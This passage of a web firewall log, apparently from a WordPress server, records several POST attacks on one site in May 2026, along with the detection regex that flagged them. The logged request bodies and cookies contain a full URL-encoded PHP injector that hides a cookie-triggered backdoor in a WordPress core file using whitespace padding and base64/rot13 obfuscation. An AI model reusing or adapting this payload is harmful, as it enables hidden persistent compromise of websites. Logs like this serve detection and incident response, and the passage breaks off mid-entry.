3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLzLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\n\nbf=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status306.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B67%252B-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-91%252B92%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B15-12%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B42%252B-38%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520function%2520restore_state%2528%2524hld%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b8b138cb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522api_gateway%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flag%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524rec%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524rec%252C%2520%2524sym%2529%253B%2520fclose%2528%2524rec%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522restore_state%2522%2529%253B%2520%2524reference%2520%253D%2520%2522b6f8d80ddd0f7a40cff8924855e23bfb%2522%253B%2520if%2520%2528%2521strncmp%2528%2524reference%252C%2520%2524flag%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522token_parser_engine_reverse_searcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:54:37","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> RQ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status306.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B67%252B-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-91%252B92%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B15-12%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B42%252B-38%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520function%2520restore_state%2528%2524hld%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b8b138cb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522api_gateway%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flag%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524rec%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524rec%252C%2520%2524sym%2529%253B%2520fclose%2528%2524rec%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522restore_state%2522%2529%253B%2520%2524reference%2520%253D%2520%2522b6f8d80ddd0f7a40cff8924855e23bfb%2522%253B%2520if%2520%2528%2521strncmp%2528%2524reference%252C%2520%2524flag%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522token_parser_engine_reverse_searcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-length:4349\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHyRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nRQ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status306.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B67%252B-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-91%252B92%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B15-12%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B42%252B-38%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520function%2520restore_state%2528%2524hld%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b8b138cb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522api_gateway%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flag%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524rec%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524rec%252C%2520%2524sym%2529%253B%2520fclose%2528%2524rec%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522restore_state%2522%2529%253B%2520%2524reference%2520%253D%2520%2522b6f8d80ddd0f7a40cff8924855e23bfb%2522%253B%2520if%2520%2528%2521strncmp%2528%2524reference%252C%2520%2524flag%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522token_parser_engine_reverse_searcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:54:40","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status306.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B67%252B-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-91%252B92%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B15-12%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B42%252B-38%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520function%2520restore_state%2528%2524hld%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b8b138cb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522api_gateway%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flag%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524rec%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524rec%252C%2520%2524sym%2529%253B%2520fclose%2528%2524rec%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522restore_state%2522%2529%253B%2520%2524reference%2520%253D%2520%2522b6f8d80ddd0f7a40cff8924855e23bfb%2522%253B%2520if%2520%2528%2521strncmp%2528%2524reference%252C%2520%2524flag%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522token_parser_engine_reverse_searcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:4372\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\naccept-encoding:gzip,deflate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status306.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B67%252B-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-91%252B92%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B15-12%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B42%252B-38%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520function%2520restore_state%2528%2524hld%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b8b138cb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522api_gateway%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flag%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524rec%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524rec%252C%2520%2524sym%2529%253B%2520fclose%2528%2524rec%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522restore_state%2522%2529%253B%2520%2524reference%2520%253D%2520%2522b6f8d80ddd0f7a40cff8924855e23bfb%2522%253B%2520if%2520%2528%2521strncmp%2528%2524reference%252C%2520%2524flag%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522token_parser_engine_reverse_searcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:54:44","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ey:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status306.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B67%252B-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-91%252B92%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B15-12%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B42%252B-38%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520function%2520restore_state%2528%2524hld%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b8b138cb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522api_gateway%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flag%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524rec%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524rec%252C%2520%2524sym%2529%253B%2520fclose%2528%2524rec%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522restore_state%2522%2529%253B%2520%2524reference%2520%253D%2520%2522b6f8d80ddd0f7a40cff8924855e23bfb%2522%253B%2520if%2520%2528%2521strncmp%2528%2524reference%252C%2520%2524flag%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522token_parser_engine_reverse_searcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\ncontent-length:4349\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMKxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 